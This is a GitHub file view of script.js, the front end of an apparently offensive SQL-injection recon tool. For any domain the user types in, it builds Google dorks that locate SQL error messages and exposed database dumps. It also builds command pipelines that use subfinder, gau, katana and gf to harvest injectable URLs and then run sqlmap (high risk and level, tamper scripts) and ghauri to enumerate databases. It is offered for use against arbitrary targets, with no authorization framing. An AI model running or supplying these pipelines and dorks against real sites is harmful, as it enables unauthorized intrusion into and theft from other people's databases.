-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathscript.js
More file actions
236 lines (206 loc) · 9.01 KB
/
script.js
File metadata and controls
236 lines (206 loc) · 9.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
function updateDynamicSections() {
const domainInput = document.getElementById("domain");
const domain = domainInput.value.trim() || "example.com";
const validationMsg = document.getElementById('domainValidation');
if(domain && !/^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/.test(domain)){
validationMsg.textContent = 'Invalid domain';
} else {
validationMsg.textContent = '';
}
saveDomainHistory(domain);
const commandsArr = [
`subfinder -d ${domain} -all -silent | httpx-toolkit -td -sc -silent | grep -Ei 'asp|php|jsp|jspx|aspx'`,
`subfinder -dL subdomains.txt -all -silent | httpx-toolkit -td -sc -silent | grep -Ei 'asp|php|jsp|jspx|aspx'`,
`echo https://${domain} | gau | uro | grep -E ".php|.asp|.aspx|.jspx|.jsp" | grep "=" > urls.txt`,
`echo https://${domain} | katana -d 5 -ps -pss waybackarchive,commoncrawl,alienvault -f qurl | uro | grep -E ".php|.asp|.aspx|.jspx|.jsp" > urls2.txt`,
`cat urls1.txt urls2.txt | gf sqli | uro > cleaned-sql.txt`,
`ghauri -m cleaned-sql.txt --batch --dbs --level 3 --confirm`,
`sqlmap -m cleaned-sql.txt --batch --random-agent --tamper=space2comment --level=5 --risk=3 --drop-set-cookie --threads 10 --dbs`,
`subfinder -d ${domain} -all -silent | gau | urldedupe | gf sqli > sql.txt; sqlmap -m sql.txt --batch --dbs --risk 2 --level 5 --random-agent`,
`subfinder -d ${domain} -all -silent | gau --threads 50 | uro | gf sqli > sql.txt; ghauri -m sql.txt --batch --dbs --level 3 --confirm`
];
document.getElementById("cmdOutput").textContent = commandsArr.join('\n');
document.getElementById("commandsCount").textContent = `(${commandsArr.length})`;
const dorksArr = [
`site:*.${domain} inurl:id=`,
`site:*.${domain} inurl=product.php?id=`,
`site:*.${domain} inurl=view.php?page=`,
`site:*.${domain} ext:php inurl=id=`,
`site:*.${domain} ext:asp inurl=product=`,
`site:*.${domain} intext:"You have an error in your SQL syntax"`,
`site:*.${domain} intext:"mysql_fetch_array() expects parameter"`,
`site:*.${domain} intext:"mysql_num_rows() expects parameter"`,
`site:*.${domain} intext:"supplied argument is not a valid MySQL result resource"`,
`site:*.${domain} intext:"Warning: mysql_"`,
`site:*.${domain} intext:"Fatal error: Uncaught mysqli_sql_exception"`,
`site:*.${domain} intext:"Fatal error: Call to undefined function mysql_connect()"`,
`site:*.${domain} intext:"Warning: PDO::query()"`,
`site:*.${domain} intext:"SQLSTATE[HY000]"`,
`site:*.${domain} intext:"pg_query(): Query failed"`,
`site:*.${domain} intext:"Warning: pg_connect()"`,
`site:*.${domain} intext:"PostgreSQL query failed: ERROR"`,
`site:*.${domain} intext:"Microsoft OLE DB Provider for SQL Server"`,
`site:*.${domain} intext:"Unclosed quotation mark after the character string"`,
`site:*.${domain} intext:"ADODB.Field error"`,
`site:*.${domain} intext:"80040e14"`,
`site:*.${domain} intext:"ORA-00933: SQL command not properly ended"`,
`site:*.${domain} intext:"ORA-01756: quoted string not properly terminated"`,
`site:*.${domain} intext:"Warning: oci_parse()"`,
`site:*.${domain} intext:"DB2 SQL error:"`,
`site:*.${domain} intext:"Syntax error in string in query expression"`,
`site:*.${domain} intext:"Error Executing Database Query"`,
`site:*.${domain} intext:"Query failed:"`,
`site:*.${domain} intext:"unexpected end of SQL command"`,
`site:*.${domain} intext:"invalid SQL statement"`,
`site:*.${domain} intext:"JDBC Exception"`,
`intitle:"index of" "dump.sql" site:${domain}`,
`site:${domain} ext:sql | ext:db | ext:bak | ext:backup`
];
const filter = document.getElementById('dorksFilter').value.trim().toLowerCase();
const filteredDorks = filter ? dorksArr.filter(dork => dork.toLowerCase().includes(filter)) : dorksArr;
document.getElementById('dorksCount').textContent = `(${filteredDorks.length})`;
const copyAllBtn = document.getElementById("copyAllDorksBtn");
if(filteredDorks.length > 0) {
copyAllBtn.style.display = "";
} else {
copyAllBtn.style.display = "none";
}
const container = document.getElementById("dorkContainer");
container.innerHTML = "";
filteredDorks.forEach((dork) => {
const card = document.createElement("div");
card.className = "dork-card";
const text = document.createElement("div");
text.className = "dork-text";
text.textContent = dork;
text.title = "Click to copy";
text.style.cursor = "pointer";
text.onclick = () => {
navigator.clipboard.writeText(dork);
showCopied("Copied dork!");
};
const actions = document.createElement("div");
actions.className = "dork-actions";
const googleBtn = document.createElement("a");
googleBtn.href = `https://www.google.com/search?q=${encodeURIComponent(dork)}`;
googleBtn.target = "_blank";
googleBtn.className = "btn";
googleBtn.title = "Search on Google";
googleBtn.innerHTML = '<i class="fa-brands fa-google"></i>';
const copyBtn = document.createElement("button");
copyBtn.className = "btn";
copyBtn.title = "Copy";
copyBtn.innerHTML = '<i class="fa-solid fa-clipboard"></i>';
copyBtn.onclick = (e) => {
e.stopPropagation();
navigator.clipboard.writeText(dork);
showCopied("Copied dork!");
};
actions.appendChild(googleBtn);
actions.appendChild(copyBtn);
card.appendChild(text);
card.appendChild(actions);
container.appendChild(card);
});
document.getElementById('noDorks').style.display = filteredDorks.length === 0 ? '' : 'none';
if (copyAllBtn) {
copyAllBtn.onclick = function() {
if(filteredDorks.length){
navigator.clipboard.writeText(filteredDorks.join('\n'));
showCopied("All dorks copied!");
}
};
}
}
function saveDomainHistory(domain) {
if (!domain) return;
let history = JSON.parse(localStorage.getItem('domain-history')||"[]");
if(domain && !history.includes(domain)) {
history.unshift(domain);
if(history.length > 5) history.length = 5;
localStorage.setItem('domain-history', JSON.stringify(history));
}
const dataList = document.getElementById('domain-history');
dataList.innerHTML = '';
history.forEach(d => {
const opt = document.createElement('option');
opt.value = d;
dataList.appendChild(opt);
});
}
function showCopied(msg) {
let el = document.getElementById('copiedMsg');
el.textContent = msg;
el.classList.add('active');
setTimeout(()=>el.classList.remove('active'), 1200);
}
window.addEventListener('scroll', function(){
const btn = document.getElementById('scrollTopBtn');
if(window.scrollY > 250){
btn.classList.add('show');
} else {
btn.classList.remove('show');
}
});
document.getElementById('scrollTopBtn').onclick = function(){
window.scrollTo({top:0,behavior:'smooth'});
};
window.addEventListener('scroll', function() {
document.querySelectorAll('nav a').forEach(link=>{
const section = document.querySelector(link.getAttribute('href'));
if(section && window.scrollY >= section.offsetTop-90)
link.classList.add('active');
else link.classList.remove('active');
});
});
document.addEventListener('keydown', e=>{
if(e.ctrlKey && e.key==='f') {
e.preventDefault();
document.getElementById('dorksFilter').focus();
}
});
function setTheme(theme) {
const themeBtn = document.getElementById("themeToggleBtn");
if(theme === "light") {
document.body.classList.add("light");
themeBtn.innerHTML = '<i class="fa-solid fa-sun"></i>';
themeBtn.title = "Switch to dark mode";
} else {
document.body.classList.remove("light");
themeBtn.innerHTML = '<i class="fa-solid fa-moon"></i>';
themeBtn.title = "Switch to light mode";
}
window.localStorage.setItem("sqli-theme", theme);
}
document.addEventListener("DOMContentLoaded", function() {
let pref = window.localStorage.getItem("sqli-theme");
if(!pref) {
pref = (window.matchMedia && window.matchMedia('(prefers-color-scheme: light)').matches) ? 'light' : 'dark';
}
setTheme(pref);
const themeBtn = document.getElementById("themeToggleBtn");
themeBtn.onclick = function() {
setTheme(document.body.classList.contains("light") ? "dark" : "light");
};
themeBtn.onkeydown = function(e) {
if(e.key==="Enter"||e.key===" ") this.click();
};
updateDynamicSections();
document.getElementById("domain").addEventListener('input', updateDynamicSections);
document.getElementById("dorksFilter").addEventListener('input', updateDynamicSections);
document.getElementById("clearDomainBtn").onclick = ()=>{
document.getElementById('domain').value = '';
document.getElementById('domain').focus();
updateDynamicSections();
};
const copyCmdBtn = document.getElementById("copyCmdBtn");
const cmdOutput = document.getElementById("cmdOutput");
if (copyCmdBtn && cmdOutput) {
copyCmdBtn.onclick = function() {
navigator.clipboard.writeText(cmdOutput.textContent);
copyCmdBtn.classList.add("copy-animate");
showCopied("All commands copied!");
setTimeout(() => copyCmdBtn.classList.remove("copy-animate"), 500);
};
}
});